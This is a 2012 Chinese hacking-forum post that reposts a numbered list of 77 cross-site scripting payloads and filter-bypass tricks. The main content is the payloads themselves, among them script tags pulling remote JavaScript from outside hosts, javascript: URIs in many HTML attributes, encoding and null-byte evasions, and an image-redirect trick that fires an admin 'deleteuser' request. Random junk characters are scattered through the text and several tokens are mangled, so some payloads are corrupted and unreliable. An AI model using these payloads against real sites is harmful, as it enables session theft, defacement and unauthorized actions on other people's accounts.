找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3420|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
: Y; o4 E3 ~2 W' `2 w1 T1 C
2 o, M; W) x' |% H+ h# z2 s (1)普通的XSS JavaScript注入
' U$ M8 _5 d& I <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>  Q3 Y# `" a* E2 T! g: m1 U; q
9 Q* t9 w$ G$ E* \1 Z6 Y+ E
(2)IMG标签XSS使用JavaScript命令0 H. c8 ]# D! T6 m0 j7 i3 ?5 B1 g7 {: {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>! r7 X( V* x" O

7 C9 S, l6 Q3 A+ c, X (3)IMG标签无分号无引号% k$ L: l* C1 y0 o  t" n
<IMG SRC=javascript:alert(‘XSS’)>
' ^5 P6 Z) c$ J
7 U% J2 W7 n* b8 ~; I3 k (4)IMG标签大小写不敏感
& J) B& B1 A. d6 C% B. K% f <IMG SRC=JaVaScRiPt:alert(‘XSS’)>* O) z0 A# `8 ~

) h) O0 D' Q7 B3 D (5)HTML编码(必须有分号)
( t1 {. p" V1 }, p% R4 E9 [7 y; L <IMG SRC=javascript:alert(“XSS”)>7 s7 j; ~3 N: C% b! N2 w

7 k( _& M& i/ F; K0 E' Y6 @ (6)修正缺陷IMG标签8 s3 G; B2 A" j1 i/ u4 j
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>7 S, [% F5 o% D( z0 ~

' i3 d$ c8 n* N% P& c (7)formCharCode标签(计算器)* q  ~" o$ m, N! r) v
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>* o5 v' D% j* K# P( N+ s) _

* \- G! P- v, |; `9 g4 H0 n (8)UTF-8的Unicode编码(计算器)' H9 {9 l% k: b' y( z( Z( R' F' O
<IMG SRC=jav..省略..S')>
( z0 D9 P1 O1 @8 \" c+ l5 ^# A
0 j% h" E; q& A- F% \ (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
5 j: I$ j1 s4 a# h% G; N" \9 b <IMG SRC=jav..省略..S')>0 V% e$ \9 H) S1 d: y* w% i' S
$ ~) L! _# p+ G# o/ D, Z
(10)十六进制编码也是没有分号(计算器)5 p: F% P. r- Z: n7 \$ O( `' O" P
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>" h; G$ c: y8 z8 p9 W, x
6 I0 ?1 T7 N+ P) c  m
(11)嵌入式标签,将Javascript分开% j* C1 o# O, ^/ E8 K
<IMG SRC=”jav ascript:alert(‘XSS’);”>$ {) I7 J! I6 L6 B  t; j

3 m! u4 F7 q0 T. M8 N1 _9 L$ a: q (12)嵌入式编码标签,将Javascript分开
* e- y" v! T% B- d) b <IMG SRC=”jav ascript:alert(‘XSS’);”>% p3 t3 u9 Z  A# V: m

9 p2 p( H3 n" s. u/ r3 w6 {! Q5 n- A (13)嵌入式换行符3 z& U3 J4 Q0 R" M
<IMG SRC=”jav ascript:alert(‘XSS’);”># b+ ?; K1 k* g2 a

4 [" Y) g# y5 P/ } (14)嵌入式回车
1 t* h: J1 p( j4 q7 F: ~: i) X <IMG SRC=”jav ascript:alert(‘XSS’);”>
1 A* Q9 D1 O# r/ t% M
7 v6 X+ L' U5 D% C" [! K  s7 M$ t (15)嵌入式多行注入JavaScript,这是XSS极端的例子( q; g+ F2 ~0 e6 Y- a' Y
<IMG SRC=”javascript:alert(‘XSS‘)”>
4 W6 J* ^+ |+ R% Z+ F* m- F5 {8 X
7 w1 ]; C4 [- p. I: W9 F (16)解决限制字符(要求同页面)/ n3 R: K' l3 C$ B
<script>z=’document.’</script>
+ _+ L- J0 h5 a( I+ Q# G% x! S <script>z=z+’write(“‘</script>$ Q' H% w9 }! D  B/ A" g$ S
<script>z=z+’<script’</script>
) \$ j2 j' U8 ]; H* Y- ?# a <script>z=z+’ src=ht’</script>
  q3 T5 w) j9 i, ^( u  O9 a% ?5 q <script>z=z+’tp://ww’</script>
- Y, D) m( t4 P# r2 q- @/ T. e <script>z=z+’w.shell’</script>% V! F1 K% v# O. s% `9 |% E
<script>z=z+’.net/1.’</script>9 M  O& g  f( U5 X1 k" ]" w9 t
<script>z=z+’js></sc’</script>. G% j* v* v; W' Z
<script>z=z+’ript>”)’</script>* Q8 E  T7 j% q' N( C" r, C
<script>eval_r(z)</script>
' F0 i4 b  f  c1 j) q) w* D' i" Z: u: R, [+ Y
(17)空字符5 l( Y. D' M% W1 I1 ]
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out) m5 V( l* u# T+ m! Q; f6 ]7 c

& u2 J% \& N/ B (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
& Z" d) B" f4 Z2 m+ z1 d1 q perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& x# K' w. S' h

" A* U8 t9 e; r) m (19)Spaces和meta前的IMG标签0 U6 Z; ^4 k+ E5 }" ?# m
<IMG SRC=”   javascript:alert(‘XSS’);”>
* [6 l- p* C- l* V# D) f
$ M! F$ Y) k0 U  S) U! R" e (20)Non-alpha-non-digit XSS
% ?; I" e) y, b4 B <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* w2 L/ K; {! N( |* l4 t: d

$ p2 q: ^* ]  D- ?: G9 U( ? (21)Non-alpha-non-digit XSS to 2, E. o2 K( V. v8 B! X- V. ^2 k
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>3 A+ t* S8 X0 s7 r# S

3 V5 @% b1 ]7 ^% E0 U, w (22)Non-alpha-non-digit XSS to 3
( F: c' `8 L/ n+ B4 E <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
3 K2 I* O( _* E+ q. D, o
; O4 t+ U* ^! Z, k* T3 k (23)双开括号+ ]  D' S. Y# [, k9 Q% W
<<SCRIPT>alert(“XSS”);//<</SCRIPT>. O( D; T/ Y) b3 }1 L3 m
  J! D: {4 i# \
(24)无结束脚本标记(仅火狐等浏览器)
  h$ h9 @' V8 A3 K& o$ I. x' J9 F <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>: x6 j) X* r: w$ R
( ]$ R0 Q9 @- W6 ]3 M
(25)无结束脚本标记2& H0 O1 g  l4 V2 _; P& U; Y
<SCRIPT SRC=//3w.org/XSS/xss.js>
4 D' [2 S2 `+ |, z* i5 k6 m$ z2 ~: T8 `, I9 ~) {
(26)半开的HTML/JavaScript XSS
# F, ^2 V7 |2 j9 I <IMG SRC=”javascript:alert(‘XSS’)”
" b& h( `1 {3 V% f3 i
( e5 i0 J1 {! g  E (27)双开角括号
& M( u* _" F) G; ^4 n4 J4 e) W& K' G <iframe src=http://3w.org/XSS.html <2 A+ H" {: O6 k0 }0 F

" p9 E2 d# I# x/ i (28)无单引号 双引号 分号
8 j: B% a$ D) c0 C. ^ <SCRIPT>a=/XSS/
% l% N3 x- C# a7 n alert(a.source)</SCRIPT>
9 u5 \6 W7 A9 C4 w4 e/ V) J
4 H8 x0 N0 F4 g/ }1 c (29)换码过滤的JavaScript$ J/ S& k. p0 u. N0 k
\”;alert(‘XSS’);//9 [9 W; [( Z  Y& g5 n

# N1 r$ [# E& a (30)结束Title标签' h! b/ J" \0 N# C6 G- A6 S( Q8 z
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>" u' i) N/ L+ `  t, l: @4 O: }
$ t' V% y; K1 W9 ~! m9 Z6 O
(31)Input Image; k3 r9 K% c" t4 t
<INPUT SRC=”javascript:alert(‘XSS’);”>3 f8 q. x$ H2 ?, _

  C% J( H" c% ~# n+ t (32)BODY Image
; ^  _/ N3 X( }% a <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
5 ]+ F* R' `6 b# E( {. K% x, m4 ]- |
(33)BODY标签/ [3 ?8 f) u# \1 H  Z. \- h
<BODY(‘XSS’)>( N$ {! o+ K, X- c5 M) g+ Q8 |, c

  Y: \. [( N# w. P- t( f (34)IMG Dynsrc
1 ?( X! {6 V: y$ \7 ^, b <IMG DYNSRC=”javascript:alert(‘XSS’)”>8 l+ H$ }. B5 K% s) v1 {
% B& u3 ?2 ~' {& o0 d) |% R3 e9 Z
(35)IMG Lowsrc
7 i6 Z2 S4 r  r9 u6 l1 I! S <IMG LOWSRC=”javascript:alert(‘XSS’)”>
( I- O& U; \( }. p! {& w& q5 Q2 {
- ~5 _* K4 X/ D. i5 A( q (36)BGSOUND
- F: C. ^5 ~& `5 x7 h3 G <BGSOUND SRC=”javascript:alert(‘XSS’);”>  `0 \. d  {! f, Y+ E1 o6 H
3 M- F/ L; j3 d: Q
(37)STYLE sheet4 a0 F* F# ~0 B. e" F
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>! R0 [" w7 @7 o& V+ q! V
- D4 W* J( u$ T/ H
(38)远程样式表
) U$ s/ g  l* ? <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
; i' r6 ?/ B& t. M, I# g
2 ]/ r+ N* S3 t* G% e: Q (39)List-style-image(列表式)2 V1 h! }* l: _4 }& O, g
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
& w; @; c( }9 H# N9 z4 f
/ Y$ r. k: D. }: _0 T- K& a. E (40)IMG VBscript5 h) X" e6 k  \
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
8 B" G! B! I: g4 m* m$ o. E2 o4 v
; [& e& ~6 G, m/ R0 [4 i/ ~ (41)META链接url
. k" \* `0 S9 c$ M  P <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”># u" Z2 ^( N. [/ r6 ]) G

7 R( L+ |8 I% u% I! T  y (42)Iframe# b. C; G/ t0 P0 `5 m
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
  q# e7 d# G) d. J+ x! s, b3 I# g8 q0 L" z
(43)Frame3 [( \& e7 Q5 r% x
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>8 o5 O1 z' w4 b) v
$ U, O" O( e9 J2 d# i0 U' e  u) [- E
(44)Table3 x4 m  ~: Y8 I7 a2 J# \+ P. {1 W
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>. v9 Z. O  l6 B$ ?8 A

/ g3 r/ p( s* z5 k& k/ R9 |; U, F (45)TD
) a: {: y* Q! z$ C3 Z1 `4 T <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
$ B6 w' d) K2 p3 d- @* G/ X7 d+ @8 a$ ^: m9 D& p2 }# i  e
(46)DIV background-image$ H  [8 p2 P! R
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) f# a& T. b1 h, G3 L; B6 M5 {

$ z" \# r6 Q. s4 r) n, D (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
4 O# t3 M* i- g  G, u <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* ]1 |* j2 ?5 `6 j. G' n1 q$ v) l

9 ~8 c; E! i0 d* t4 u$ N( z, n7 ] (48)DIV expression
. h* O  C- X7 b2 T/ P7 W <DIV STYLE=”width: expression_r(alert(‘XSS’));”>! I3 D6 ]: \; ?/ L/ f
' s2 k* z7 s, Y7 R& v0 d: B4 J
(49)STYLE属性分拆表达
& r, w; n$ L6 Q. B <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
/ A- s6 v2 a3 v% o7 p( \9 Y, f: F0 z3 T. z; w  \
(50)匿名STYLE(组成:开角号和一个字母开头)
: ~7 C5 g8 g% s5 i$ T <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
( ]) A8 b# H$ p5 |" C+ ]/ J" Z/ B3 u( C; f0 S1 N6 q3 D
(51)STYLE background-image8 k* F6 ^+ m8 q! K" J8 t+ J* P/ v
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
# P5 q' D: A7 u' r# i% r
$ G  ~; l$ n3 K* v$ b: ` (52)IMG STYLE方式
/ k0 G0 q2 [+ U1 a exppression(alert(“XSS”))’>) P) s, }" ?/ N) L2 ^& Y
) e$ r# D" ^$ n9 O) k1 D' g! q
(53)STYLE background
8 k0 G/ J2 V7 A2 x1 C <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>& Z2 [7 v/ D- W& h
; p3 X; ~* W- W& [, m
(54)BASE0 M/ W6 k) @, k  F0 t2 ^, X5 O8 [
<BASE HREF=”javascript:alert(‘XSS’);//”>
8 h! d. ?2 O  V4 }" x% P
/ Y' D$ o( d( h8 Z3 X# g0 u (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
( g2 x" m! |9 V* g! q" A <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>% ~9 P2 V* n/ [8 m4 \3 L
0 P) f* |" L4 L7 Z6 W1 f4 O  V
(56)在flash中使用ActionScrpt可以混进你XSS的代码% {- E4 r7 r4 H
a=”get”;
0 V( v4 z. q! V6 H' l! r b=”URL(\”";
, @" }5 [4 K5 {5 a c=”javascript:”;$ A/ ^) @9 o9 j* F: h  i8 k" }
d=”alert(‘XSS’);\”)”;
4 T' L: D0 u9 x& c( P) C) q+ F6 D eval_r(a+b+c+d);+ j! G$ a) D! L' }1 M& J+ s" D
' W4 r3 T3 P' g. A0 o4 g0 L( \9 |
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
% l* o* l7 }$ { <HTML xmlns:xss>
* @/ h0 t2 l3 p. x- y <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>0 y' d6 N1 b" {: U& a
<xss:xss>XSS</xss:xss>! T2 h3 ^* ?2 M2 k. d
</HTML>/ o* V  @* A+ |. q4 @: r
. ]  n# w+ v! X+ {: H1 H' D
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用# o( l. O  f7 m) r
<SCRIPT SRC=””></SCRIPT>+ }! V+ G3 a1 w1 J2 @4 w3 G2 R
# n0 g* ~' v4 M9 Y- W! z
(59)IMG嵌入式命令,可执行任意命令
: N+ |& _6 I1 C0 [3 B <IMG SRC=”http://www.XXX.com/a.php?a=b”>
/ n5 L8 C, `# `) V: o
$ Y% v( O" t. u8 h2 u! E (60)IMG嵌入式命令(a.jpg在同服务器)
0 i9 f7 M: j' p# A: v! X" U: Q$ j Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
# v$ F2 c, c" n$ z/ l) G+ t
/ ?2 p. R1 @9 ~1 T# N. h% S6 S (61)绕符号过滤
; [- j( S6 q1 v# v+ h8 G+ s. ^* X; U <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
+ r3 j2 f' i% s# Q$ `( `
/ f- J6 X1 p3 j3 l0 J; y# ^" S (62)' B- d- x/ X; M# |1 y6 d
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 X: \5 p. o9 t0 h
1 D6 \7 a* g0 Z* K) @+ ~2 ~ (63)  N' Y9 O% o8 k+ s+ G
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>. I0 b) C( r" Q& G/ ?+ f% c
1 e( o3 W) f8 o+ Q+ s0 R* v
(64)$ k  z1 p& N5 {4 c6 n2 l' j
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>9 b7 q3 U$ u9 \

' n5 E. Z. P" h' g* _4 Z9 W; Z (65)
) X" ]6 V2 O6 L- M+ H2 c <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>" k! v+ S& A/ R( t9 E1 v
+ }) x; D' D! d5 ^2 T6 ~6 n8 N
(66)
2 x" g: T7 n, i: Q0 h. s: G <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 z7 L  b3 g4 L3 V$ ~5 D
! p0 Z- s2 z1 K (67)
7 N* c9 X! a8 o! s1 l- n3 c8 ]8 H <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
$ ]9 v9 ?; ]' g* |% N# j) W6 q7 ~5 E# O0 A4 H" t
(68)URL绕行
/ X4 `: _4 u3 N) k3 g% ~+ h5 ]+ ? <A HREF=”http://127.0.0.1/”>XSS</A>
: T5 u8 o& D8 H1 {3 A- g3 c& g. c  `
(69)URL编码6 G5 o+ K( ^0 l! a
<A HREF=”http://3w.org”>XSS</A>" {( U6 T$ J( T- C/ X! h& ~6 c# N0 w
9 D, I9 q: W/ H6 D
(70)IP十进制( E  _3 U' O: ?
<A HREF=”http://3232235521″>XSS</A>) q) b0 |; c5 Y, j

& ]  H2 ?! b8 J8 A6 P (71)IP十六进制
, ?5 w: g& j. y' c2 D5 j+ o! R- n5 ?- x <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>* Z1 |6 M8 k+ |2 ^
" p* z8 a; Q/ ]. `+ e, ^
(72)IP八进制
1 b7 P* R+ x/ ~ <A HREF=”http://0300.0250.0000.0001″>XSS</A>
0 F. `3 L* E8 E0 I( x
& m: v0 R: S" G! S  V (73)混合编码  j; Y7 L! C: V, _' e
<A HREF=”h  K/ V( {2 |2 Y
tt p://6 6.000146.0×7.147/”">XSS</A>
0 u/ s% p- W; N1 Y0 C% z6 ~/ N6 t' h9 O% _! }  U/ w6 s
(74)节省[http:]. ]8 c1 [2 c' e& r/ Q/ A
<A HREF=”//www.google.com/”>XSS</A>; `4 ?3 M# M6 ^4 M. a- X
8 n/ w8 J/ o/ }- x
(75)节省[www]- @: f. Y. c8 `- Q; f, u
<A HREF=”http://google.com/”>XSS</A>) F$ u* B$ J- J# X6 T+ u
8 [1 J6 _. V% }/ V0 O
(76)绝对点绝对DNS% [* J2 U$ w* I9 S4 T/ Z
<A HREF=”http://www.google.com./”>XSS</A>; ~" y* F+ [1 e2 Q8 P- E
/ Q6 O7 Z7 D' l# N% ~
(77)javascript链接9 ]. N4 l+ E, b; E2 C3 e
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表